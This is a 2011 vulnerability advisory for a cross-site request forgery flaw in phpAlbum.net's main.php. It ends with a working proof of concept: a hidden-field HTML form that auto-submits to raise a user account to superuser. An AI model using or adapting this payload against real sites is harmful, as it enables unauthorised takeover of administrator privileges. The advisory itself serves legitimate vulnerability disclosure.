Vulnerability ID: HTB22923 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpalbum_net.html Product: phpAlbum.net Vendor: Patrik Jakab ( http://www.phpalbum.net/ ) Vulnerable Version: 0.4.1-14_fix06 Vendor Notification: 31 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "main.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/main.php" method="post" name="main"> <input type="hidden" name="p_username_f" value="test"> <input type="hidden" name="p_password_f" value=""> <input type="hidden" name="p_retype_password_f" value=""> <input type="hidden" name="p_email_f" value="email@xxxxxxxxxxx"> <input type="hidden" name="p_homepage_f" value="http://www.example.com"> <input type="hidden" name="p_group1" value="guest"> <input type="hidden" name="p_group2" value="superuser"> <input type="hidden" name="p_userid_f" value="USERID"> <input type="hidden" name="cmd" value="setup"> <input type="hidden" name="var1" value="user"> <input type="hidden" name="var3" value="USERID"> <input type="hidden" name="var2" value="update"> </form> <script> document.main.submit(); </script>